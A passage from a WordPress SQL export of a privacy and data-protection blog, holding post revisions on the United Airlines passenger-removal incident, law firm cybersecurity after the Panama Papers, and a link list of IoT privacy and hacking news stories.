light. Video recordings of the incident have gone viral online. Calls to boycott and all kind of sarcasm have followed. The company made a first public statement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>United Airlines confirms that beatings will continue until volunteering improves</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>United Airlines Training Video.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I Know You’re Mad at United but… (Thoughts from a Pilot Wife About Flight 3411)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the close of trading Monday, the airline was valued at about $22.49 billion. At around noon on Tuesday, its value had sunk to $21.92 billion, a loss of more than $500 million. By close of trading its value had recovered a bit, to $22.25 billion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>United Airlines Stock Drops $1.4 Billion After Passenger-Removal Controversy</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>United Airlines loses $950 million in market value as shares tumble.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>How a Disconnected Corporate Culture Cost United Airlines $800 Million Overnight</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Initially, Instead of apologising and promising to change its protocol, United grew defensive and entrenched itself behind legalistic corporate-speak. The company claimed that its employees had “followed established procedures” to remove the man from the plane—to “re-accommodate” him, in their clunky euphemism—using its legal right to deny people boarding when it overbooks a plane. Consequently, United was strongly criticised for its public handling of the crisis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Initially, the company’s CEO placed the blame on Dao for the incident.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On Tuesday, CEO Oscar Munoz called the event \"truly horrific\" publishing a second apology:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"Like you, I continue to be disturbed by what happened on this flight and I deeply apologise to the customer forcibly removed and to all the customers aboard. No one should ever be mistreated this way,\" ...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"I want you to know that we take full responsibility and we will work to make it right,\" he said. \"It\'s never too late to do the right thing.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Association of Flight Attendants agreed. An involuntary bump \"should never result in a passenger being physically injured,\" spokeswoman Taylor Garland said.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The aviation security officer who pulled the man from his seat was placed on leave Monday, \"pending a thorough review of the situation,\" the Chicago Department of Aviation said in a statement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Chicago Tribune reports:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>White House spokesman Sean Spicer characterised the incident as \"troubling\" and said he was sure President Donald Trump had seen the video.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, legislators posed their own questions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"Consumer trust and confidence are critical to ensure this industry continues to thrive, and we hope United Airlines will work diligently to immediately address this incident and make necessary improvements to ensure it does not occur again,\" a group of 21 senators wrote in a letter to Munoz.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Separately, four senators sent several questions about the \"very disturbing\" incident in letters to Munoz and Ginger Evans, Chicago\'s aviation commissioner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The senators said it was \"hard to believe that some combination of better planning, training, communication, or additional incentives\" would not have mitigated the incident or prevented it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Daily Mail reports : Angry United Airlines pilots\' union issue statement denying ALL responsibility for forcible removal of doctor last week and say Chicago cops are to blame</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Americans trust big companies less and less. When Bill Clinton took office in 1993, only 31 percent of Americans said that they had little or no trust in business, according to Gallup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4- On the Algorithm that selects the un-voluntary passengers to be evacuated. What determined that M. Dao had to evacuate its seats was an algorithm :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"The priority of all other confirmed passengers may be determined based on a passenger’s fare class, itinerary, status of frequent flyer program membership, and the time in which the passenger presents him/herself for check-in without advanced seat assignment.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Was this a fair deal? had the passengers not boarded already? A machine, automated, artificial intelligence based selection is less \'arbitrary\' the result is dame to be \'fair\'. However, a human decision could have listened to M. Dao\'s arguments on why he would not agree to give up his seat. Maybe the fact of being of a minority Chinese origin was not innocent to the heat of the conflict. Should the final decision be taken by a human? Some of the questions that will come out more and more often, including with the automated decision making of autonomous cars.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Artificial intelligence: How to avoid racist algorithms</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I strongly recommend the read of Wendy Grossman\'s article on algorithm AI decision making and the United Airlines incident. The automated decision to select the passengers to deplane could have been better explained and eventually accommodate the specific situations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mark Rasch, Attorney and Cybersecurity Expert, The United Airlines Doctor Debacle, The Law and Crisis Communication</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Further reading :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>WHY UNITED WAS LEGALLY WRONG TO DEPLANE DAVID DAO</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>United Airlines Passenger May Need Surgery, Lawyer Says</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a Creative Commons Attribution 4.0 International License.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Image borrowed from Zizzle.</p>\n<!-- /wp:paragraph -->','United Airlines In Bad Shape','','inherit','closed','closed','','814-revision-v1','','','2020-05-02 12:48:52','2020-05-02 11:48:52','',814,'https://datarainbow.eu/2020/05/02/814-revision-v1/',0,'revision','',0),(826,5,'2020-05-02 12:49:00','2020-05-02 11:49:00','<!-- wp:paragraph -->\n<p>Mossack Fonseca hack and the Panama Papers scandal should have been a wake up call for all law firms to take clients data security more seriously. Here is Why we Should All Care About Panamapapers even if we have no offshore investment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Law Firm Cybersecurity is at high risk. Dozens of big firms are targeted by hackers seeking for sensitive financial information. Major law firms including Cravah and Will Gotshal have suffered data breach. FBI has issued warnings. Still too many use insecure email exchange for information transfer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Threats of Litigation After Data Breaches at Major Law Firms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>...both Weil Gotshal &amp; Manges and Cravath, Swaine &amp; Moore as well as other firms have suffered data breaches in recent months, put new attention on the potential consequences for law firms with lax security.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Daniel Solove, US privacy scholar wrote</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Law firms are facing grave privacy and security risks. Although a number of firms are taking steps to address these risks, the industry as a whole needs to grasp the severity of the risk. For firms, privacy and security risks can be significantly higher than for other organisations. Incidents can be catastrophic. On a scale of 1 to 10, the risks law firms are facing are an 11.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Daniel Solove describes the situation and offers solutions to avoid the harms caused to the reputation and clients of a law firm attacked.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Just as an example, here is a List of data breaches and cyber attacks in February 2017. Recently, 1500 companies in over 100 countries hit by malicious Adwind backdoor RAT.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The CNIL, French Data Protection Authority has been publishing advices, including easy ways of encryption. I still hear Solicitors, lawyers, Notaries, exchanging sensitive data via simple emails or Dropbox. These are recipes for disaster and lack of consideration for clients. Apart from the reputation disaster, the GDPR new EU data protection regulation has serious fines to consider. Think well before too late : 20M Euro or 4% of world turnover fines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sometimes the treat comes from an insider. You might want to monitor live transfer of data from your network. If your employees bring their own devices, here is a good advice from the UK ICO.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I keep my sources of information updated on Pearltrees curation:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.lexology.com/library/detail.aspx?g=1178d174-7cc3-4d49-8d59-03ed9d3c82c3p\">How many law firms use encryption to preserve the security and the confidentiality of the documents they handle? </a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncsc.gov.uk/legalthreat%0A\">The Cyberspace threat to legal sector - 2018 report</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/idigital/firms-data-security-liability/id15689736\">Law Firm data security</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The <a href=\"http://www.pearltrees.com/idigital/firms-data-security-liability/id15689736\">Panamapapers</a> scandal and the law firm Mossack Fonseca.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.law.com/legaltechnews/2018/12/27/5-cybersecurity-habits-law-firms-should-kick-in-2019/\">5 Cybersecurity Habits Law Firms Should Kick in 2019</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Read <a href=\"https://www.linkedin.com/pulse/website-transparency-cookies-privacy-notice-taubman-bassirian-llm/\">Website Transparency and Cookies and Privacy Notices</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Read <a href=\"https://www.linkedin.com/pulse/gdpr-material-territorial-scopes-tara-taubman-bassirian-llm/\">GDPR Material and Territorial Scope</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Read <a href=\"https://www.linkedin.com/pulse/all-you-need-know-gdpr-compliance-tara-taubman-bassirian/\">All You Need to Know About GDPR</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a Creative Commons Attribution 4.0 International License.</p>\n<!-- /wp:paragraph -->','Law Firm Internet Security and Data Protection','Mossack Fonseca hack and the Panama Papers scandal should have been a wake up call for all law firms to take clients data security more seriously. Here is Why we Should All Care About Panamapapers even if we have no offshore investment.','inherit','closed','closed','','817-revision-v1','','','2020-05-02 12:49:00','2020-05-02 11:49:00','',817,'https://datarainbow.eu/2020/05/02/817-revision-v1/',0,'revision','',0),(827,5,'2020-05-02 12:49:06','2020-05-02 11:49:06','<!-- wp:paragraph -->\n<p>I\'m using <a rel=\"noreferrer noopener\" href=\"http://www.pearltrees.com/\" target=\"_blank\">Pearltrees</a> to curate, organise and share web resources. It\'s one of the most convenient and productive social bookmarking tools available. All it needs is an index where to find the list of entries. It has allowed me to keep an eye and collect from various source of information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here is a<a href=\"http://www.pearltrees.com/pearltreesone/whatsapp/id17167797\" target=\"_blank\" rel=\"noreferrer noopener\">&nbsp;curation</a>&nbsp;of web sources and articles around the issue of&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/data-collection-biz/id5326982\" target=\"_blank\" rel=\"noreferrer noopener\">data collection</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There is a strong&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/drones-iot-ai/id17167424\" target=\"_blank\" rel=\"noreferrer noopener\">interconnection&nbsp;</a>between&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/artificial-intelligence/id16214031\" target=\"_blank\" rel=\"noreferrer noopener\">Artificial intelligence</a>, Robotics, algorithm,&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596\" target=\"_blank\" rel=\"noreferrer noopener\">Internet of Things</a>,&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/drones/id17167829\" target=\"_blank\" rel=\"noreferrer noopener\">Drones</a>,&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/phone-security/id17167711\" target=\"_blank\" rel=\"noreferrer noopener\">Smartphones</a>, computers and other communication devices. They all have in common there capabilities to store data. Therefore, they need to comply with data protection regulation. Although these companies and their activities are global, data protection regulations are variable. in EU, we are trough a stronger protection with increase of fines with the new&nbsp;<a href=\"http://www.linkedin.com/pulse/all-you-need-know-gdpr-compliance-tara-taubman-bassirian?trk=mp-reader-card\" target=\"_blank\" rel=\"noreferrer noopener\">General Data Protection Regulation</a>&nbsp;or GDPR. We need to think on how technology can offer innovation without too much</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At othertimes, the surveillance is the&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/state-surveillance/id17167443\" target=\"_blank\" rel=\"noreferrer noopener\">act of governments</a>, more or less democratic. UK is well known for spread<a href=\"http://www.pearltrees.com/clarinette02/uk-cctv/id6078501\" target=\"_blank\" rel=\"noreferrer noopener\">&nbsp;CCTV camera surveillance</a>.&nbsp;<a href=\"http://www.pearltrees.com/t/body-scanner/id1613725\" target=\"_blank\" rel=\"noreferrer noopener\">US TSA body scanners</a>&nbsp;have made made privacy advocate unease with the new intrusive measures. [<a href=\"https://clarinettesblog.wordpress.com/2012/02/07/would-you-like-a-webcam-in-your-bedrooms-and-bathrooms-broadcating-live/\" target=\"_blank\" rel=\"noreferrer noopener\">Would you like a webcam in your bedrooms and bathrooms broadcasting&nbsp;live</a>]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are only few of the subjects I have been following. Here around&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/ai-health/id17112280\" target=\"_blank\" rel=\"noreferrer noopener\">Drone, AI, Robotics and Law</a>.&nbsp;<a href=\"http://www.pearltrees.com/idigital/gdpr-new-text/id15747243#item175275842\" target=\"_blank\" rel=\"noreferrer noopener\">Idigital</a>&nbsp;is a curation around anything digital, IP or IT with connected legal and ethical challenges. Here is&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/dangerous-possession-smartph/id2250166\" target=\"_blank\" rel=\"noreferrer noopener\">my initial curation</a>&nbsp;on anything IP/IT, Social media, Democracy, and online learning.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can double-click on each picture- originally they were pearl shaped- to expand branches and access the web links or Pdf documents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I keep them updated. they can be shared via email or social media. If you had any subject you would like to monitor, please contact me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</p>\n<!-- /wp:paragraph -->','Keeping an eye','Keeping an eye on sources and articles around the issue of data collection.','inherit','closed','closed','','819-revision-v1','','','2020-05-02 12:49:06','2020-05-02 11:49:06','',819,'https://datarainbow.eu/2020/05/02/819-revision-v1/',0,'revision','',0),(829,5,'2020-05-02 13:08:51','2020-05-02 12:08:51','<!-- wp:paragraph -->\n<p>\"<em>Internet of Things (IoT) inaugurates new possibilities for the manufacturing industry, enabling the machines to become smarter by interacting with each other via internet connection. This may include devices that pose due to their speed, weight and other characteristics high security risk, notably connected cars. Other devices such as those comprising a smart home may pose lower safety and security risk yet equally high or higher IoT privacy risk, transmitting crucial information about their owners’ private lives.</em>\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dolls are listening, Amazon Echo, Apple Siri, the smart fridge, the smart toaster, the home video camera surveillance broadcasting live, the pace maker data accessed by insurance company and .....what worth freedom? Let\'s turn off the smart TV for a lovely dumb world?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I previously reported the&nbsp;<a href=\"http://www.linkedin.com/pulse/challenges-artificial-intelligence-france-tara-taubman-bassirian-llm\" target=\"_blank\" rel=\"noreferrer noopener\">French Senate hearing on Artificial Intelligence and the questioning of experts</a>. I am leaving here a series of incidents involving Internet connected technologies. What are the privacy and ethics implications?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our&nbsp;<a href=\"http://clarinettesblog.wordpress.com/2010/09/02/247/\" target=\"_blank\" rel=\"noreferrer noopener\">life is under digit</a>&nbsp;and it&nbsp;<a href=\"http://clarinettesblog.wordpress.com/2010/11/16/life-under-digit-continous/\" target=\"_blank\" rel=\"noreferrer noopener\">continues</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You remember the&nbsp;<a href=\"http://www.linkedin.com/%E2%80%A6/apple-fbi-battle-security-v-priv%E2%80%A6\" target=\"_blank\" rel=\"noreferrer noopener\">Apple fight resisting FBI\'s access to an iPhone data</a>? Apple-FBI battle of Privacy v Security.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This time, it\'s&nbsp;<a href=\"http://Amazon resists Echo murder evidence call\" target=\"_blank\" rel=\"noreferrer noopener\">Amazon resists warrants for Echo data in Arkansas murder case</a>.&nbsp;<a href=\"http://news.vice.com/story/amazon-says-alexa-has-first-amendment-right-to-resist-giving-up-data-in-murder-case\" target=\"_blank\" rel=\"noreferrer noopener\">Amazon says the AI assistant has First Amendment right to resist giving up data in murder case</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>UPDATE :</strong>&nbsp;<a href=\"http://gizmodo.com/amazon-agrees-to-hand-over-data-in-echo-murder-case-1793039360\" target=\"_blank\" rel=\"noreferrer noopener\">Amazon Agrees to Hand Over Data in Echo Murder Case.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.davidwolfe.com/google-recording-you/?c=jjh&amp;vp=%3Fc%3Dtesla\" target=\"_blank\" rel=\"noreferrer noopener\">Google Is Recording Everything You Say. Here’s How To Hear &amp; Delete The Recordings</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.pearltrees.com/pearltreesone/medical-data-used-evidenchttp://www.pearltrees.com/pearltreesone/medical-data-used-evidence/id17167959e/id17167959\" target=\"_blank\" rel=\"noreferrer noopener\">Insurance company wants to access customer\'s medical data</a>&nbsp;:&nbsp;<a href=\"http://arstechnica.com/science/2017/02/ohio-mans-pacemaker-data-betrays-him-in-arson-insurance-fraud-case/?comments=1&amp;post=32787449\" target=\"_blank\" rel=\"noreferrer noopener\">Ohio man’s pacemaker data may betray him in arson, insurance fraud case</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Here comes the smart pill that allows patient’s tracking and surveillance ! ‘<a href=\"http://www.24heures.ch/sante-environnement/sante/Le-medicament-qui-vous-surveille/story/22010734\" target=\"_blank\" rel=\"noreferrer noopener\">Le médicament qui vous surveille.</a>‘<a href=\"http://www.20min.ch/ro/multimedia/stories/story/Le-medicament-qui-envoie-un-SMS-au-medecin-28458840\" target=\"_blank\" rel=\"noreferrer noopener\">Le médicament qui envoie un SMS au médecin</a>.&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/smart-pills-medicine/id17168147\" target=\"_blank\" rel=\"noreferrer noopener\">Intelligent Pills: A new ‘dawn’ in healthcare?</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://cdn.ampproject.org/c/s/thenextweb.com/facebook/2017/02/17/facebook-chrome-track-data-selfie/?amp=1\" target=\"_blank\" rel=\"noreferrer noopener\">This creepy tool reveals how Facebook’s AI tracks and studies your activity</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.pearltrees.com/pearltreesone/smart-tvs/id17167819#item196932668\" target=\"_blank\" rel=\"noreferrer noopener\">Are you watching your TV or is your TV watching you?</a>&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/smart-tvs/id17167819#item196934643\" target=\"_blank\" rel=\"noreferrer noopener\">Samsung&nbsp;is warning customers&nbsp;about discussing personal information in front of their smart television set.</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://oneworldidentity.com/2017/02/07/vizio-will-pay-2-2m-fine-snooping-private-smart-tv-viewing-habits/\" target=\"_blank\" rel=\"noreferrer noopener\">Vizio will pay $2.2M fine for snooping on private smart TV viewing habits</a>\'</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933533\" target=\"_blank\" rel=\"noreferrer noopener\">It\'s not just your TV that can track your habits without&nbsp;consent</a>.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933535\" target=\"_blank\" rel=\"noreferrer noopener\">Researchers discover over 170 million exposed IoT devices in major US&nbsp;cities</a>.&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item196579660\" target=\"_blank\" rel=\"noreferrer noopener\">Plus d\'objets connectés que d\'humains sur Terre |&nbsp;Comarketing-News</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here is a&nbsp;<a href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933536\" target=\"_blank\" rel=\"noreferrer noopener\">Wearable AI that can detect the tone of a&nbsp;conversation</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.bbc.co.uk/news/world-europe-39002142?ocid=socialflow_twitter\" target=\"_blank\" rel=\"noreferrer noopener\">German parents told to destroy Cayla dolls over hacking fears</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://clarinettesblog.wordpress.com/2012/02/07/would-you-like-a-webcam-in-your-bedrooms-and-bathrooms-broadcating-live/\" target=\"_blank\" rel=\"noreferrer noopener\">Would you like a webcam in your bedrooms and bathrooms broadcasting&nbsp;live</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone#item196921624\" target=\"_blank\" rel=\"noreferrer noopener\">Big Brother Watch » The folly of CCTV in&nbsp;schools</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/clarinette02/smartphone-revealing-every/id2564764\" target=\"_blank\" rel=\"noreferrer noopener\">Smartphone revealing every&nbsp;move</a>.&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/dangerous-possession-smartph/id2250166\" target=\"_blank\" rel=\"noreferrer noopener\">Your smartphone could be your most dangerous possession</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone/whatsapp/id17167797\" target=\"_blank\" rel=\"noreferrer noopener\">How to Change Your WhatsApp Settings Before Facebook Data Sharing Begins</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/clarinette02/tracking-inside-fridge-rfid/id4656121\" target=\"_blank\" rel=\"noreferrer noopener\">Is your refrigerator spying on&nbsp;you?</a>&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/tracking-inside-fridge-rfid/id4656121#item116118666\" target=\"_blank\" rel=\"noreferrer noopener\">CIA: We\'ll spy on you through your&nbsp;refrigerator</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.theguardian.com/environment/2012/jul/01/household-energy-trackers-threat-privacy\" target=\"_blank\" rel=\"noreferrer noopener\">Energy smart meters are a threat to privacy, says watchdog</a>.&nbsp;<a href=\"http://www.theguardian.com/technology/2016/dec/29/smart-electricity-meters-dangerously-insecure-hackers\" target=\"_blank\" rel=\"noreferrer noopener\">Smart electricity meters can be dangerously insecure, warns expert</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item196232986\" target=\"_blank\" rel=\"noreferrer noopener\">Wearable AI that can detect the tone of a&nbsp;conversation</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://clarinettesblog.wordpress.com/2012/02/07/would-you-like-a-webcam-in-your-bedrooms-and-bathrooms-broadcating-live/\" target=\"_blank\" rel=\"noreferrer noopener\">Would you like a webcam in your bedrooms and bathrooms broadcasting&nbsp;live</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/clarinette02/data-stored-copymachines-hd/id5211279\" target=\"_blank\" rel=\"noreferrer noopener\">Data stored by copy machines and printers</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item185017405\" target=\"_blank\" rel=\"noreferrer noopener\">Remember that data-mining smart vibrator? The company\'s getting&nbsp;sued.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/pearltreesone/drones-iot/id17167424#item196933256\" target=\"_blank\" rel=\"noreferrer noopener\">Connected car in the second-hand lot? Don\'t buy it if you\'re not hack-savvy</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item184646065\" target=\"_blank\" rel=\"noreferrer noopener\">How Will Terrorists Use the Internet of Things? The Justice Department Is Trying to Figure That&nbsp;Out</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://www.pearltrees.com/dronelaw/dyn-ddos-attack/id16523089\" target=\"_blank\" rel=\"noreferrer noopener\">Dyn DDOS attack</a>&nbsp;:&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/dyn-ddos-attack/id16523089#item188076710\" target=\"_blank\" rel=\"noreferrer noopener\">Internet outage takes down Twitter, Netflix, PayPal and many of the web\'s most visited websites</a>&nbsp;.&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/dyn-ddos-attack/id16523089#item185774803\" target=\"_blank\" rel=\"noreferrer noopener\">Largest DDoS attack ever delivered by botnet of hijacked IoT&nbsp;devices</a>.&nbsp;<a href=\"http://www.pearltrees.com/dronelaw/dyn-ddos-attack/id16523089#item186066579\" target=\"_blank\" rel=\"noreferrer noopener\">IoT devices being increasingly used for DDoS&nbsp;attacks</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://enews.zdnet.com/ct/40719631:sjuyTalNG:m:1:716967210:D827116CB8CF9C428DD0125FBB9EB00D:r:22560840191682809058836988049432\" target=\"_blank\" rel=\"noreferrer noopener\">Think you\'re safe from hackers offline? This drone steals data from a PC\'s blinking LED</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item183186312\" target=\"_blank\" rel=\"noreferrer noopener\">Hacking the Internet of Things: Locks and&nbsp;Thermostats</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item183142276\" target=\"_blank\" rel=\"noreferrer noopener\">The IoT threat to privacy</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a href=\"http://ideas.ted.com/why-online-privacy-matters-and-how-to-protect-yours/\" target=\"_blank\" rel=\"noreferrer noopener\">Why online privacy matters — and how to protect yours</a></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Daniel Solove&nbsp;<a href=\"http://lnkd.in/dzjQVEU\" target=\"_blank\" rel=\"noreferrer noopener\">“I’ve Got Nothing to Hide” and Other Misunderstandings of Privacy</a>&nbsp;essay is getting a new wave of downloads</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596#item191175709\" target=\"_blank\" rel=\"noreferrer noopener\">Perceptive Privacy Protectors Push for IoT Privacy&nbsp;Protections -</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.hldataprotection.com/2017/02/articles/international-eu-privacy/ico-turns-spotlight-on-data-broker-industry/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+ChronicleOfDataProtection+%28HL+Chronicle+of+Data+Protection%29\" target=\"_blank\" rel=\"noreferrer noopener\">ICO Turns Spotlight on Data Broker Industry</a>.&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/information-becomes-currency/id6000980#item54926385\" target=\"_blank\" rel=\"noreferrer noopener\">Big Data age puts privacy in question as information becomes currency</a>. Data collection and blockage is a<a href=\"http://www.pearltrees.com/clarinette02/data-collection-biz/id5326982\" target=\"_blank\" rel=\"noreferrer noopener\">&nbsp;lucrative business</a>.&nbsp;<a href=\"http://www.pearltrees.com/clarinette02/data-collected-brockers/id10144116#item127127697\" target=\"_blank\" rel=\"noreferrer noopener\">The Dark Market for Personal Data</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><a 